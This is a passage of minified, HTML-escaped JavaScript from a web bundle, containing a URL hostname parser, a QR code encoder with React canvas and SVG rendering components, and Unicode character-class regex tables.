e=0;e&lt;c.length;e++)r=i.indexOf(c[e]),-1!==r&amp;&amp;(-1===s||r&lt;s)&amp;&amp;(s=r);-1===s&amp;&amp;(s=i.length),&quot;:&quot;===i[s-1]&amp;&amp;s--;const n=i.slice(0,s);i=i.slice(s),this.parseHost(n),this.hostname=this.hostname||&quot;&quot;;const o=&quot;[&quot;===this.hostname[0]&amp;&amp;&quot;]&quot;===this.hostname[this.hostname.length-1];if(!o){const e=this.hostname.split(/\./);for(let t=0,s=e.length;t&lt;s;t++){const s=e[t];if(s&amp;&amp;!s.match(d)){let r=&quot;&quot;;for(let e=0,t=s.length;e&lt;t;e++)s.charCodeAt(e)&gt;127?r+=&quot;x&quot;:r+=s[e];if(!r.match(d)){const r=e.slice(0,t),n=e.slice(t+1),o=s.match(p);o&amp;&amp;(r.push(o[1]),n.unshift(o[2])),n.length&amp;&amp;(i=n.join(&quot;.&quot;)+i),this.hostname=r.join(&quot;.&quot;);break}}}}this.hostname.length&gt;255&amp;&amp;(this.hostname=&quot;&quot;),o&amp;&amp;(this.hostname=this.hostname.substr(1,this.hostname.length-2))}const g=i.indexOf(&quot;#&quot;);-1!==g&amp;&amp;(this.hash=i.substr(g),i=i.slice(0,g));const f=i.indexOf(&quot;?&quot;);return-1!==f&amp;&amp;(this.search=i.substr(f),i=i.slice(0,f)),i&amp;&amp;(this.pathname=i),m[s]&amp;&amp;this.hostname&amp;&amp;!this.pathname&amp;&amp;(this.pathname=&quot;&quot;),this},r.prototype.parseHost=function(e){let t=o.exec(e);t&amp;&amp;(t=t[0],&quot;:&quot;!==t&amp;&amp;(this.port=t.substr(1)),e=e.substr(0,e.length-t.length)),e&amp;&amp;(this.hostname=e)};const g=function(e,t){if(e&amp;&amp;e instanceof r)return e;const s=new r;return s.parse(e,t),s}},86221(e,t,s){&quot;use strict&quot;;s.d(t,{X:()=&gt;_,h:()=&gt;C});var r,n=s(51609),o=Object.defineProperty,a=Object.getOwnPropertySymbols,i=Object.prototype.hasOwnProperty,l=Object.prototype.propertyIsEnumerable,c=(e,t,s)=&gt;t in e?o(e,t,{enumerable:!0,configurable:!0,writable:!0,value:s}):e[t]=s,u=(e,t)=&gt;{for(var s in t||(t={}))i.call(t,s)&amp;&amp;c(e,s,t[s]);if(a)for(var s of a(t))l.call(t,s)&amp;&amp;c(e,s,t[s]);return e},d=(e,t)=&gt;{var s={};for(var r in e)i.call(e,r)&amp;&amp;t.indexOf(r)&lt;0&amp;&amp;(s[r]=e[r]);if(null!=e&amp;&amp;a)for(var r of a(e))t.indexOf(r)&lt;0&amp;&amp;l.call(e,r)&amp;&amp;(s[r]=e[r]);return s};(e=&gt;{const t=class t{constructor(e,s,r,o){if(this.version=e,this.errorCorrectionLevel=s,this.modules=[],this.isFunction=[],e&lt;t.MIN_VERSION||e&gt;t.MAX_VERSION)throw new RangeError(&quot;Version value out of range&quot;);if(o&lt;-1||o&gt;7)throw new RangeError(&quot;Mask value out of range&quot;);this.size=4*e+17;let a=[];for(let e=0;e&lt;this.size;e++)a.push(!1);for(let e=0;e&lt;this.size;e++)this.modules.push(a.slice()),this.isFunction.push(a.slice());this.drawFunctionPatterns();const i=this.addEccAndInterleave(r);if(this.drawCodewords(i),-1==o){let e=1e9;for(let t=0;t&lt;8;t++){this.applyMask(t),this.drawFormatBits(t);const s=this.getPenaltyScore();s&lt;e&amp;&amp;(o=t,e=s),this.applyMask(t)}}n(0&lt;=o&amp;&amp;o&lt;=7),this.mask=o,this.applyMask(o),this.drawFormatBits(o),this.isFunction=[]}static encodeText(s,r){const n=e.QrSegment.makeSegments(s);return t.encodeSegments(n,r)}static encodeBinary(s,r){const n=e.QrSegment.makeBytes(s);return t.encodeSegments([n],r)}static encodeSegments(e,r,o=1,i=40,l=-1,c=!0){if(!(t.MIN_VERSION&lt;=o&amp;&amp;o&lt;=i&amp;&amp;i&lt;=t.MAX_VERSION)||l&lt;-1||l&gt;7)throw new RangeError(&quot;Invalid value&quot;);let u,d;for(u=o;;u++){const s=8*t.getNumDataCodewords(u,r),n=a.getTotalBits(e,u);if(n&lt;=s){d=n;break}if(u&gt;=i)throw new RangeError(&quot;Data too long&quot;)}for(const e of[t.Ecc.MEDIUM,t.Ecc.QUARTILE,t.Ecc.HIGH])c&amp;&amp;d&lt;=8*t.getNumDataCodewords(u,e)&amp;&amp;(r=e);let p=[];for(const t of e){s(t.mode.modeBits,4,p),s(t.numChars,t.mode.numCharCountBits(u),p);for(const e of t.getData())p.push(e)}n(p.length==d);const h=8*t.getNumDataCodewords(u,r);n(p.length&lt;=h),s(0,Math.min(4,h-p.length),p),s(0,(8-p.length%8)%8,p),n(p.length%8==0);for(let e=236;p.length&lt;h;e^=253)s(e,8,p);let m=[];for(;8*m.length&lt;p.length;)m.push(0);return p.forEach((e,t)=&gt;m[t&gt;&gt;&gt;3]|=e&lt;&lt;7-(7&amp;t)),new t(u,r,m,l)}getModule(e,t){return 0&lt;=e&amp;&amp;e&lt;this.size&amp;&amp;0&lt;=t&amp;&amp;t&lt;this.size&amp;&amp;this.modules[t][e]}getModules(){return this.modules}drawFunctionPatterns(){for(let e=0;e&lt;this.size;e++)this.setFunctionModule(6,e,e%2==0),this.setFunctionModule(e,6,e%2==0);this.drawFinderPattern(3,3),this.drawFinderPattern(this.size-4,3),this.drawFinderPattern(3,this.size-4);const e=this.getAlignmentPatternPositions(),t=e.length;for(let s=0;s&lt;t;s++)for(let r=0;r&lt;t;r++)0==s&amp;&amp;0==r||0==s&amp;&amp;r==t-1||s==t-1&amp;&amp;0==r||this.drawAlignmentPattern(e[s],e[r]);this.drawFormatBits(0),this.drawVersion()}drawFormatBits(e){const t=this.errorCorrectionLevel.formatBits&lt;&lt;3|e;let s=t;for(let e=0;e&lt;10;e++)s=s&lt;&lt;1^1335*(s&gt;&gt;&gt;9);const o=21522^(t&lt;&lt;10|s);n(o&gt;&gt;&gt;15==0);for(let e=0;e&lt;=5;e++)this.setFunctionModule(8,e,r(o,e));this.setFunctionModule(8,7,r(o,6)),this.setFunctionModule(8,8,r(o,7)),this.setFunctionModule(7,8,r(o,8));for(let e=9;e&lt;15;e++)this.setFunctionModule(14-e,8,r(o,e));for(let e=0;e&lt;8;e++)this.setFunctionModule(this.size-1-e,8,r(o,e));for(let e=8;e&lt;15;e++)this.setFunctionModule(8,this.size-15+e,r(o,e));this.setFunctionModule(8,this.size-8,!0)}drawVersion(){if(this.version&lt;7)return;let e=this.version;for(let t=0;t&lt;12;t++)e=e&lt;&lt;1^7973*(e&gt;&gt;&gt;11);const t=this.version&lt;&lt;12|e;n(t&gt;&gt;&gt;18==0);for(let e=0;e&lt;18;e++){const s=r(t,e),n=this.size-11+e%3,o=Math.floor(e/3);this.setFunctionModule(n,o,s),this.setFunctionModule(o,n,s)}}drawFinderPattern(e,t){for(let s=-4;s&lt;=4;s++)for(let r=-4;r&lt;=4;r++){const n=Math.max(Math.abs(r),Math.abs(s)),o=e+r,a=t+s;0&lt;=o&amp;&amp;o&lt;this.size&amp;&amp;0&lt;=a&amp;&amp;a&lt;this.size&amp;&amp;this.setFunctionModule(o,a,2!=n&amp;&amp;4!=n)}}drawAlignmentPattern(e,t){for(let s=-2;s&lt;=2;s++)for(let r=-2;r&lt;=2;r++)this.setFunctionModule(e+r,t+s,1!=Math.max(Math.abs(r),Math.abs(s)))}setFunctionModule(e,t,s){this.modules[t][e]=s,this.isFunction[t][e]=!0}addEccAndInterleave(e){const s=this.version,r=this.errorCorrectionLevel;if(e.length!=t.getNumDataCodewords(s,r))throw new RangeError(&quot;Invalid argument&quot;);const o=t.NUM_ERROR_CORRECTION_BLOCKS[r.ordinal][s],a=t.ECC_CODEWORDS_PER_BLOCK[r.ordinal][s],i=Math.floor(t.getNumRawDataModules(s)/8),l=o-i%o,c=Math.floor(i/o);let u=[];const d=t.reedSolomonComputeDivisor(a);for(let s=0,r=0;s&lt;o;s++){let n=e.slice(r,r+c-a+(s&lt;l?0:1));r+=n.length;const o=t.reedSolomonComputeRemainder(n,d);s&lt;l&amp;&amp;n.push(0),u.push(n.concat(o))}let p=[];for(let e=0;e&lt;u[0].length;e++)u.forEach((t,s)=&gt;{(e!=c-a||s&gt;=l)&amp;&amp;p.push(t[e])});return n(p.length==i),p}drawCodewords(e){if(e.length!=Math.floor(t.getNumRawDataModules(this.version)/8))throw new RangeError(&quot;Invalid argument&quot;);let s=0;for(let t=this.size-1;t&gt;=1;t-=2){6==t&amp;&amp;(t=5);for(let n=0;n&lt;this.size;n++)for(let o=0;o&lt;2;o++){const a=t-o,i=!(t+1&amp;2)?this.size-1-n:n;!this.isFunction[i][a]&amp;&amp;s&lt;8*e.length&amp;&amp;(this.modules[i][a]=r(e[s&gt;&gt;&gt;3],7-(7&amp;s)),s++)}}n(s==8*e.length)}applyMask(e){if(e&lt;0||e&gt;7)throw new RangeError(&quot;Mask value out of range&quot;);for(let t=0;t&lt;this.size;t++)for(let s=0;s&lt;this.size;s++){let r;switch(e){case 0:r=(s+t)%2==0;break;case 1:r=t%2==0;break;case 2:r=s%3==0;break;case 3:r=(s+t)%3==0;break;case 4:r=(Math.floor(s/3)+Math.floor(t/2))%2==0;break;case 5:r=s*t%2+s*t%3==0;break;case 6:r=(s*t%2+s*t%3)%2==0;break;case 7:r=((s+t)%2+s*t%3)%2==0;break;default:throw new Error(&quot;Unreachable&quot;)}!this.isFunction[t][s]&amp;&amp;r&amp;&amp;(this.modules[t][s]=!this.modules[t][s])}}getPenaltyScore(){let e=0;for(let s=0;s&lt;this.size;s++){let r=!1,n=0,o=[0,0,0,0,0,0,0];for(let a=0;a&lt;this.size;a++)this.modules[s][a]==r?(n++,5==n?e+=t.PENALTY_N1:n&gt;5&amp;&amp;e++):(this.finderPenaltyAddHistory(n,o),r||(e+=this.finderPenaltyCountPatterns(o)*t.PENALTY_N3),r=this.modules[s][a],n=1);e+=this.finderPenaltyTerminateAndCount(r,n,o)*t.PENALTY_N3}for(let s=0;s&lt;this.size;s++){let r=!1,n=0,o=[0,0,0,0,0,0,0];for(let a=0;a&lt;this.size;a++)this.modules[a][s]==r?(n++,5==n?e+=t.PENALTY_N1:n&gt;5&amp;&amp;e++):(this.finderPenaltyAddHistory(n,o),r||(e+=this.finderPenaltyCountPatterns(o)*t.PENALTY_N3),r=this.modules[a][s],n=1);e+=this.finderPenaltyTerminateAndCount(r,n,o)*t.PENALTY_N3}for(let s=0;s&lt;this.size-1;s++)for(let r=0;r&lt;this.size-1;r++){const n=this.modules[s][r];n==this.modules[s][r+1]&amp;&amp;n==this.modules[s+1][r]&amp;&amp;n==this.modules[s+1][r+1]&amp;&amp;(e+=t.PENALTY_N2)}let s=0;for(const e of this.modules)s=e.reduce((e,t)=&gt;e+(t?1:0),s);const r=this.size*this.size,o=Math.ceil(Math.abs(20*s-10*r)/r)-1;return n(0&lt;=o&amp;&amp;o&lt;=9),e+=o*t.PENALTY_N4,n(0&lt;=e&amp;&amp;e&lt;=2568888),e}getAlignmentPatternPositions(){if(1==this.version)return[];{const e=Math.floor(this.version/7)+2,t=32==this.version?26:2*Math.ceil((4*this.version+4)/(2*e-2));let s=[6];for(let r=this.size-7;s.length&lt;e;r-=t)s.splice(1,0,r);return s}}static getNumRawDataModules(e){if(e&lt;t.MIN_VERSION||e&gt;t.MAX_VERSION)throw new RangeError(&quot;Version number out of range&quot;);let s=(16*e+128)*e+64;if(e&gt;=2){const t=Math.floor(e/7)+2;s-=(25*t-10)*t-55,e&gt;=7&amp;&amp;(s-=36)}return n(208&lt;=s&amp;&amp;s&lt;=29648),s}static getNumDataCodewords(e,s){return Math.floor(t.getNumRawDataModules(e)/8)-t.ECC_CODEWORDS_PER_BLOCK[s.ordinal][e]*t.NUM_ERROR_CORRECTION_BLOCKS[s.ordinal][e]}static reedSolomonComputeDivisor(e){if(e&lt;1||e&gt;255)throw new RangeError(&quot;Degree out of range&quot;);let s=[];for(let t=0;t&lt;e-1;t++)s.push(0);s.push(1);let r=1;for(let n=0;n&lt;e;n++){for(let e=0;e&lt;s.length;e++)s[e]=t.reedSolomonMultiply(s[e],r),e+1&lt;s.length&amp;&amp;(s[e]^=s[e+1]);r=t.reedSolomonMultiply(r,2)}return s}static reedSolomonComputeRemainder(e,s){let r=s.map(e=&gt;0);for(const n of e){const e=n^r.shift();r.push(0),s.forEach((s,n)=&gt;r[n]^=t.reedSolomonMultiply(s,e))}return r}static reedSolomonMultiply(e,t){if(e&gt;&gt;&gt;8!=0||t&gt;&gt;&gt;8!=0)throw new RangeError(&quot;Byte out of range&quot;);let s=0;for(let r=7;r&gt;=0;r--)s=s&lt;&lt;1^285*(s&gt;&gt;&gt;7),s^=(t&gt;&gt;&gt;r&amp;1)*e;return n(s&gt;&gt;&gt;8==0),s}finderPenaltyCountPatterns(e){const t=e[1];n(t&lt;=3*this.size);const s=t&gt;0&amp;&amp;e[2]==t&amp;&amp;e[3]==3*t&amp;&amp;e[4]==t&amp;&amp;e[5]==t;return(s&amp;&amp;e[0]&gt;=4*t&amp;&amp;e[6]&gt;=t?1:0)+(s&amp;&amp;e[6]&gt;=4*t&amp;&amp;e[0]&gt;=t?1:0)}finderPenaltyTerminateAndCount(e,t,s){return e&amp;&amp;(this.finderPenaltyAddHistory(t,s),t=0),t+=this.size,this.finderPenaltyAddHistory(t,s),this.finderPenaltyCountPatterns(s)}finderPenaltyAddHistory(e,t){0==t[0]&amp;&amp;(e+=this.size),t.pop(),t.unshift(e)}};t.MIN_VERSION=1,t.MAX_VERSION=40,t.PENALTY_N1=3,t.PENALTY_N2=3,t.PENALTY_N3=40,t.PENALTY_N4=10,t.ECC_CODEWORDS_PER_BLOCK=[[-1,7,10,15,20,26,18,20,24,30,18,20,24,26,30,22,24,28,30,28,28,28,28,30,30,26,28,30,30,30,30,30,30,30,30,30,30,30,30,30,30],[-1,10,16,26,18,24,16,18,22,22,26,30,22,22,24,24,28,28,26,26,26,26,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28],[-1,13,22,18,26,18,24,18,22,20,24,28,26,24,20,30,24,28,28,26,30,28,30,30,30,30,28,30,30,30,30,30,30,30,30,30,30,30,30,30,30],[-1,17,28,22,16,22,28,26,26,24,28,24,28,22,24,24,30,28,28,26,28,30,24,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30]],t.NUM_ERROR_CORRECTION_BLOCKS=[[-1,1,1,1,1,1,2,2,2,2,4,4,4,4,4,6,6,6,6,7,8,8,9,9,10,12,12,12,13,14,15,16,17,18,19,19,20,21,22,24,25],[-1,1,1,1,2,2,4,4,4,5,5,5,8,9,9,10,10,11,13,14,16,17,17,18,20,21,23,25,26,28,29,31,33,35,37,38,40,43,45,47,49],[-1,1,1,2,2,4,4,6,6,8,8,8,10,12,16,12,17,16,18,21,20,23,23,25,27,29,34,34,35,38,40,43,45,48,51,53,56,59,62,65,68],[-1,1,1,2,4,4,4,5,6,8,8,11,11,16,16,18,16,19,21,25,25,25,34,30,32,35,37,40,42,45,48,51,54,57,60,63,66,70,74,77,81]];function s(e,t,s){if(t&lt;0||t&gt;31||e&gt;&gt;&gt;t!=0)throw new RangeError(&quot;Value out of range&quot;);for(let r=t-1;r&gt;=0;r--)s.push(e&gt;&gt;&gt;r&amp;1)}function r(e,t){return!!(e&gt;&gt;&gt;t&amp;1)}function n(e){if(!e)throw new Error(&quot;Assertion error&quot;)}e.QrCode=t;const o=class e{constructor(e,t,s){if(this.mode=e,this.numChars=t,this.bitData=s,t&lt;0)throw new RangeError(&quot;Invalid argument&quot;);this.bitData=s.slice()}static makeBytes(t){let r=[];for(const e of t)s(e,8,r);return new e(e.Mode.BYTE,t.length,r)}static makeNumeric(t){if(!e.isNumeric(t))throw new RangeError(&quot;String contains non-numeric characters&quot;);let r=[];for(let e=0;e&lt;t.length;){const n=Math.min(t.length-e,3);s(parseInt(t.substring(e,e+n),10),3*n+1,r),e+=n}return new e(e.Mode.NUMERIC,t.length,r)}static makeAlphanumeric(t){if(!e.isAlphanumeric(t))throw new RangeError(&quot;String contains unencodable characters in alphanumeric mode&quot;);let r,n=[];for(r=0;r+2&lt;=t.length;r+=2){let o=45*e.ALPHANUMERIC_CHARSET.indexOf(t.charAt(r));o+=e.ALPHANUMERIC_CHARSET.indexOf(t.charAt(r+1)),s(o,11,n)}return r&lt;t.length&amp;&amp;s(e.ALPHANUMERIC_CHARSET.indexOf(t.charAt(r)),6,n),new e(e.Mode.ALPHANUMERIC,t.length,n)}static makeSegments(t){return&quot;&quot;==t?[]:e.isNumeric(t)?[e.makeNumeric(t)]:e.isAlphanumeric(t)?[e.makeAlphanumeric(t)]:[e.makeBytes(e.toUtf8ByteArray(t))]}static makeEci(t){let r=[];if(t&lt;0)throw new RangeError(&quot;ECI assignment value out of range&quot;);if(t&lt;128)s(t,8,r);else if(t&lt;16384)s(2,2,r),s(t,14,r);else{if(!(t&lt;1e6))throw new RangeError(&quot;ECI assignment value out of range&quot;);s(6,3,r),s(t,21,r)}return new e(e.Mode.ECI,0,r)}static isNumeric(t){return e.NUMERIC_REGEX.test(t)}static isAlphanumeric(t){return e.ALPHANUMERIC_REGEX.test(t)}getData(){return this.bitData.slice()}static getTotalBits(e,t){let s=0;for(const r of e){const e=r.mode.numCharCountBits(t);if(r.numChars&gt;=1&lt;&lt;e)return 1/0;s+=4+e+r.bitData.length}return s}static toUtf8ByteArray(e){e=encodeURI(e);let t=[];for(let s=0;s&lt;e.length;s++)&quot;%&quot;!=e.charAt(s)?t.push(e.charCodeAt(s)):(t.push(parseInt(e.substring(s+1,s+3),16)),s+=2);return t}};o.NUMERIC_REGEX=/^[0-9]*$/,o.ALPHANUMERIC_REGEX=/^[A-Z0-9 $%*+.\/:-]*$/,o.ALPHANUMERIC_CHARSET=&quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:&quot;;let a=o;e.QrSegment=o})(r||(r={})),(e=&gt;{let t;(e=&gt;{const t=class{constructor(e,t){this.ordinal=e,this.formatBits=t}};t.LOW=new t(0,1),t.MEDIUM=new t(1,0),t.QUARTILE=new t(2,3),t.HIGH=new t(3,2);e.Ecc=t})(t=e.QrCode||(e.QrCode={}))})(r||(r={})),(e=&gt;{let t;(e=&gt;{const t=class{constructor(e,t){this.modeBits=e,this.numBitsCharCount=t}numCharCountBits(e){return this.numBitsCharCount[Math.floor((e+7)/17)]}};t.NUMERIC=new t(1,[10,12,14]),t.ALPHANUMERIC=new t(2,[9,11,13]),t.BYTE=new t(4,[8,16,16]),t.KANJI=new t(8,[8,10,12]),t.ECI=new t(7,[0,0,0]);e.Mode=t})(t=e.QrSegment||(e.QrSegment={}))})(r||(r={}));var p=r,h={L:p.QrCode.Ecc.LOW,M:p.QrCode.Ecc.MEDIUM,Q:p.QrCode.Ecc.QUARTILE,H:p.QrCode.Ecc.HIGH},m=128,g=&quot;L&quot;,f=&quot;#FFFFFF&quot;,b=&quot;#000000&quot;,v=!1,k=1;function y(e,t=0){const s=[];return e.forEach(function(e,r){let n=null;e.forEach(function(o,a){if(!o&amp;&amp;null!==n)return s.push(`M${n+t} ${r+t}h${a-n}v1H${n+t}z`),void(n=null);if(a!==e.length-1)o&amp;&amp;null===n&amp;&amp;(n=a);else{if(!o)return;null===n?s.push(`M${a+t},${r+t} h1v1H${a+t}z`):s.push(`M${n+t},${r+t} h${a+1-n}v1H${n+t}z`)}})}),s.join(&quot;&quot;)}function x(e,t){return e.slice().map((e,s)=&gt;s&lt;t.y||s&gt;=t.y+t.h?e:e.map((e,s)=&gt;(s&lt;t.x||s&gt;=t.x+t.w)&amp;&amp;e))}function j({value:e,level:t,minVersion:s,includeMargin:r,marginSize:o,imageSettings:a,size:i,boostLevel:l}){let c=n.useMemo(()=&gt;{const r=(Array.isArray(e)?e:[e]).reduce((e,t)=&gt;(e.push(...p.QrSegment.makeSegments(t)),e),[]);return p.QrCode.encodeSegments(r,h[t],s,void 0,void 0,l)},[e,t,s,l]);const{cells:u,margin:d,numCells:m,calculatedImageSettings:g}=n.useMemo(()=&gt;{let e=c.getModules();const t=function(e,t){return null!=t?Math.max(Math.floor(t),0):e?4:0}(r,o),s=e.length+2*t,n=function(e,t,s,r){if(null==r)return null;const n=e.length+2*s,o=Math.floor(.1*t),a=n/t,i=(r.width||o)*a,l=(r.height||o)*a,c=null==r.x?e.length/2-i/2:r.x*a,u=null==r.y?e.length/2-l/2:r.y*a,d=null==r.opacity?1:r.opacity;let p=null;if(r.excavate){let e=Math.floor(c),t=Math.floor(u);p={x:e,y:t,w:Math.ceil(i+c-e),h:Math.ceil(l+u-t)}}return{x:c,y:u,h:l,w:i,excavation:p,opacity:d,crossOrigin:r.crossOrigin}}(e,i,t,a);return{cells:e,margin:t,numCells:s,calculatedImageSettings:n}},[c,i,a,r,o]);return{qrcode:c,margin:d,cells:u,numCells:m,calculatedImageSettings:g}}var w=function(){try{(new Path2D).addPath(new Path2D)}catch(e){return!1}return!0}(),_=n.forwardRef(function(e,t){const s=e,{value:r,size:o=m,level:a=g,bgColor:i=f,fgColor:l=b,includeMargin:c=v,minVersion:p=k,boostLevel:h,marginSize:_,imageSettings:C}=s,A=d(s,[&quot;value&quot;,&quot;size&quot;,&quot;level&quot;,&quot;bgColor&quot;,&quot;fgColor&quot;,&quot;includeMargin&quot;,&quot;minVersion&quot;,&quot;boostLevel&quot;,&quot;marginSize&quot;,&quot;imageSettings&quot;]),{style:S}=A,E=d(A,[&quot;style&quot;]),N=null==C?void 0:C.src,T=n.useRef(null),B=n.useRef(null),P=n.useCallback(e=&gt;{T.current=e,&quot;function&quot;==typeof t?t(e):t&amp;&amp;(t.current=e)},[t]),[I,M]=n.useState(!1),{margin:L,cells:R,numCells:D,calculatedImageSettings:F}=j({value:r,level:a,minVersion:p,boostLevel:h,includeMargin:c,marginSize:_,imageSettings:C,size:o});n.useEffect(()=&gt;{if(null!=T.current){const e=T.current,t=e.getContext(&quot;2d&quot;);if(!t)return;let s=R;const r=B.current,n=null!=F&amp;&amp;null!==r&amp;&amp;r.complete&amp;&amp;0!==r.naturalHeight&amp;&amp;0!==r.naturalWidth;n&amp;&amp;null!=F.excavation&amp;&amp;(s=x(R,F.excavation));const a=window.devicePixelRatio||1;e.height=e.width=o*a;const c=o/D*a;t.scale(c,c),t.fillStyle=i,t.fillRect(0,0,D,D),t.fillStyle=l,w?t.fill(new Path2D(y(s,L))):R.forEach(function(e,s){e.forEach(function(e,r){e&amp;&amp;t.fillRect(r+L,s+L,1,1)})}),F&amp;&amp;(t.globalAlpha=F.opacity),n&amp;&amp;t.drawImage(r,F.x+L,F.y+L,F.w,F.h)}}),n.useEffect(()=&gt;{M(!1)},[N]);const O=u({height:o,width:o},S);let z=null;return null!=N&amp;&amp;(z=n.createElement(&quot;img&quot;,{src:N,key:N,style:{display:&quot;none&quot;},onLoad:()=&gt;{M(!0)},ref:B,crossOrigin:null==F?void 0:F.crossOrigin})),n.createElement(n.Fragment,null,n.createElement(&quot;canvas&quot;,u({style:O,height:o,width:o,ref:P,role:&quot;img&quot;},E)),z)});_.displayName=&quot;QRCodeCanvas&quot;;var C=n.forwardRef(function(e,t){const s=e,{value:r,size:o=m,level:a=g,bgColor:i=f,fgColor:l=b,includeMargin:c=v,minVersion:p=k,boostLevel:h,title:w,marginSize:_,imageSettings:C}=s,A=d(s,[&quot;value&quot;,&quot;size&quot;,&quot;level&quot;,&quot;bgColor&quot;,&quot;fgColor&quot;,&quot;includeMargin&quot;,&quot;minVersion&quot;,&quot;boostLevel&quot;,&quot;title&quot;,&quot;marginSize&quot;,&quot;imageSettings&quot;]),{margin:S,cells:E,numCells:N,calculatedImageSettings:T}=j({value:r,level:a,minVersion:p,boostLevel:h,includeMargin:c,marginSize:_,imageSettings:C,size:o});let B=E,P=null;null!=C&amp;&amp;null!=T&amp;&amp;(null!=T.excavation&amp;&amp;(B=x(E,T.excavation)),P=n.createElement(&quot;image&quot;,{href:C.src,height:T.h,width:T.w,x:T.x+S,y:T.y+S,preserveAspectRatio:&quot;none&quot;,opacity:T.opacity,crossOrigin:T.crossOrigin}));const I=y(B,S);return n.createElement(&quot;svg&quot;,u({height:o,width:o,viewBox:`0 0 ${N} ${N}`,ref:t,role:&quot;img&quot;},A),!!w&amp;&amp;n.createElement(&quot;title&quot;,null,w),n.createElement(&quot;path&quot;,{fill:i,d:`M0,0 h${N}v${N}H0z`,shapeRendering:&quot;crispEdges&quot;}),n.createElement(&quot;path&quot;,{fill:l,d:I,shapeRendering:&quot;crispEdges&quot;}),P)});C.displayName=&quot;QRCodeSVG&quot;},80786(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=/[\0-\x1F\x7F-\x9F]/},14935(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=/[\xAD\u0600-\u0605\u061C\u06DD\u070F\u0890\u0891\u08E2\u180E\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u206F\uFEFF\uFFF9-\uFFFB]|\uD804[\uDCBD\uDCCD]|\uD80D[\uDC30-\uDC3F]|\uD82F[\uDCA0-\uDCA3]|\uD834[\uDD73-\uDD7A]|\uDB40[\uDC01\uDC20-\uDC7F]/},60804(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=/[!-#%-\*,-\/:;\?@\[-\]_\{\}\xA1\xA7\xAB\xB6\xB7\xBB\xBF\u037E\u0387\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061D-\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u09FD\u0A76\u0AF0\u0C77\u0C84\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F14\u0F3A-\u0F3D\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1360-\u1368\u1400\u166E\u169B\u169C\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1B7D\u1B7E\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CC0-\u1CC7\u1CD3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205E\u207D\u207E\u208D\u208E\u2308-\u230B\u2329\u232A\u2768-\u2775\u27C5\u27C6\u27E6-\u27EF\u2983-\u2998\u29D8-\u29DB\u29FC\u29FD\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00-\u2E2E\u2E30-\u2E4F\u2E52-\u2E5D\u3001-\u3003\u3008-\u3011\u3014-\u301F\u3030\u303D\u30A0\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA8FC\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uAAF0\uAAF1\uABEB\uFD3E\uFD3F\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF5F-\uFF65]|\uD800[\uDD00-\uDD02\uDF9F\uDFD0]|\uD801\uDD6F|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]|\uD803[\uDEAD\uDF55-\uDF59\uDF86-\uDF89]|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC8\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]|\uD805[\uDC4B-\uDC4F\uDC5A\uDC5B\uDC5D\uDCC6\uDDC1-\uDDD7\uDE41-\uDE43\uDE60-\uDE6C\uDEB9\uDF3C-\uDF3E]|\uD806[\uDC3B\uDD44-\uDD46\uDDE2\uDE3F-\uDE46\uDE9A-\uDE9C\uDE9E-\uDEA2\uDF00-\uDF09]|\uD807[\uDC41-\uDC45\uDC70\uDC71\uDEF7\uDEF8\uDF43-\uDF4F\uDFFF]|\uD809[\uDC70-\uDC74]|\uD80B[\uDFF1\uDFF2]|\uD81A[\uDE6E\uDE6F\uDEF5\uDF37-\uDF3B\uDF44]|\uD81B[\uDE97-\uDE9A\uDFE2]|\uD82F\uDC9F|\uD836[\uDE87-\uDE8B]|\uD83A[\uDD5E\uDD5F]/},47795(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const 